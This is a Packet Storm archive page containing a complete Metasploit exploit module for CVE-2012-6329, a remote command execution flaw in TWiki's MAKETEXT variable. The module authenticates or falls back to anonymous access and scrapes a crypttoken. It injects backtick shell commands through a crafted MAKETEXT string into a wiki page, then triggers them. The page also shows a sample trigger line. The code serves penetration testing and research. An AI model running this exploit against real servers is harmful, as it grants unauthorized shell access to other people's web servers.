what you don't know can hurt you

TWiki MAKETEXT Remote Command Execution

TWiki MAKETEXT Remote Command Execution
Posted Dec 24, 2012
Authored by juan vazquez, George Clark | Site metasploit.com

This Metasploit module exploits a vulnerability in the MAKETEXT Twiki variable. By using a specially crafted MAKETEXT, a malicious user can execute shell commands since user input is passed to the Perl "eval" command without first being sanitized. The problem is caused by an underlying security issue in the CPAN:Locale::Maketext module. This works in TWiki sites that have user interface localization enabled (UserInterfaceInternationalisation variable set). If USERNAME and PASSWORD aren't provided, anonymous access will be tried. Also, if the 'TwikiPage' option isn't provided, the module will try to create a random page on the SandBox space. The modules has been tested successfully on TWiki 5.1.2 as distributed with the official TWiki-VM-5.1.2-1 virtual machine.

tags | exploit, shell, perl
advisories | CVE-2012-6329, OSVDB-88460
MD5 | 1844d260fae480529a712a37f0ebdf89

TWiki MAKETEXT Remote Command Execution

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'TWiki MAKETEXT Remote Command Execution',
'Description' => %q{
This module exploits a vulnerability in the MAKETEXT Twiki variable. By using a
specially crafted MAKETEXT, a malicious user can execute shell commands since user
input is passed to the Perl "eval" command without first being sanitized. The
problem is caused by an underlying security issue in the CPAN:Locale::Maketext
module. This works in TWiki sites that have user interface localization enabled
(UserInterfaceInternationalisation variable set).

If USERNAME and PASSWORD aren't provided, anonymous access will be tried. Also,
if the 'TwikiPage' option isn't provided, the module will try to create a random
page on the SandBox space. The modules has been tested successfully on
TWiki 5.1.2 as distributed with the official TWiki-VM-5.1.2-1 virtual machine.
},
'Author' =>
[
'George Clark', # original discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2012-6329' ],
[ 'OSVDB', '88460' ],
[ 'BID', '56950' ],
[ 'URL', 'http://twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2012-6329' ]
],
'Privileged' => false, # web server context
'Payload' =>
{
'DisableNops' => true,
'Space' => 1024,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic ruby python bash telnet'
}
},
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Dec 15 2012',
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [ true, "TWiki base path", "/" ]),
OptString.new('TwikiPage', [ false, "TWiki Page with edit permissions to inject the payload, by default random Page on Sandbox (Ex: /Sandbox/MsfTest)" ]),
OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]),
OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ])
], self.class)
end

def do_login(username, password)
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{@base}do/login",
'vars_post' =>
{
'username' => username,
'password' => password
}
})

if not res or res.code != 302 or res.headers['Set-Cookie'] !~ /TWIKISID=([0-9a-f]*)/
return nil
end

session = $1
return session
end

def inject_code(session, code)

vprint_status("Retrieving the crypttoken...")

res = send_request_cgi({
'uri' => "#{@base}do/edit#{@page}",
'cookie' => "TWIKISID=#{session}",
'vars_get' =>
{
'nowysiwyg' => '1'
}
})

if not res or res.code != 200 or res.body !~ /name="crypttoken" value="([0-9a-f]*)"/
vprint_error("Error retrieving the crypttoken")
return nil
end

crypttoken = $1
vprint_good("crypttoken found: #{crypttoken}")

if session.empty?
if res.headers['Set-Cookie'] =~ /TWIKISID=([0-9a-f]*)/
session = $1
else
vprint_error("Error using anonymous access")
return nil
end
end

vprint_status("Injecting the payload...")

res = send_request_cgi({
'method' => 'POST',
'uri' => "#{@base}do/save#{@page}",
'cookie' => "TWIKISID=#{session}",
'vars_post' =>
{
'crypttoken' => crypttoken,
'text' => "#{rand_text_alpha(3 + rand(3))} %MAKETEXT{\"#{rand_text_alpha(3 + rand(3))} [_1] #{rand_text_alpha(3 + rand(3))}\\\\'}; `#{code}`; { #\" args=\"#{rand_text_alpha(3 + rand(3))}\"}%"
}
})

if not res or res.code != 302 or res.headers['Location'] =~ /oops/ or res.headers['Location'] !~ /#{@page}/
print_warning("Error injecting the payload")
print_status "#{res.code}\n#{res.body}\n#{res.headers['Location']}"
return nil
end

location = URI(res.headers['Location']).path
print_good("Payload injected on #{location}")

return location
end

def check
@base = target_uri.path
@base << '/' if @base[-1, 1] != '/'

res = send_request_cgi({
'uri' => "#{@base}do/view/TWiki/WebHome"
})

if not res or res.code != 200
return Exploit::CheckCode::Unknown
end

if res.body =~ /This site is running TWiki version.*TWiki-(\d\.\d\.\d)/
version = $1
print_status("Version found: #{version}")
if version < "5.1.3"
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end

return Exploit::CheckCode::Detected
end


def exploit

# Init variables
@page = ''

if datastore['TwikiPage'] and not datastore['TwikiPage'].empty?
@page << '/' if datastore['TwikiPage'][0] != '/'
@page << datastore['TwikiPage']
else
@page << "/Sandbox/#{rand_text_alpha_lower(3).capitalize}#{rand_text_alpha_lower(3).capitalize}"
end

@base = target_uri.path
@base << '/' if @base[-1, 1] != '/'

# Login if needed
if (datastore['USERNAME'] and
not datastore['USERNAME'].empty? and
datastore['PASSWORD'] and
not datastore['PASSWORD'].empty?)
print_status("Trying login to get session ID...")
session = do_login(datastore['USERNAME'], datastore['PASSWORD'])
else
print_status("Using anonymous access...")
session = ""
end

if not session
fail_with(Exploit::Failure::Unknown, "Error getting a session ID")
end

# Inject payload
print_status("Trying to inject the payload on #{@page}...")
res = inject_code(session, payload.encoded)
if not res
fail_with(Exploit::Failure::Unknown, "Error injecting the payload")
end

# Execute payload
print_status("Executing the payload through #{res}...")
res = send_request_cgi({
'uri' => res,
'cookie' => "TWIKISID=#{session}"
})
if not res or res.code != 200 or res.body !~ /HASH/
fail_with(Exploit::Failure::Unknown, "Error executing the payload")
end

print_good("Exploitation was successful")

end

end

=begin

* Trigger:

%MAKETEXT{"test [_1] secondtest\\'}; `touch /tmp/msf.txt`; { #" args="msf"}%

=end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

July 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    34 Files
  • 2
    Jul 2nd
    15 Files
  • 3
    Jul 3rd
    9 Files
  • 4
    Jul 4th
    8 Files
  • 5
    Jul 5th
    2 Files
  • 6
    Jul 6th
    3 Files
  • 7
    Jul 7th
    1 Files
  • 8
    Jul 8th
    15 Files
  • 9
    Jul 9th
    15 Files
  • 10
    Jul 10th
    20 Files
  • 11
    Jul 11th
    17 Files
  • 12
    Jul 12th
    16 Files
  • 13
    Jul 13th
    2 Files
  • 14
    Jul 14th
    1 Files
  • 15
    Jul 15th
    20 Files
  • 16
    Jul 16th
    27 Files
  • 17
    Jul 17th
    7 Files
  • 18
    Jul 18th
    5 Files
  • 19
    Jul 19th
    12 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close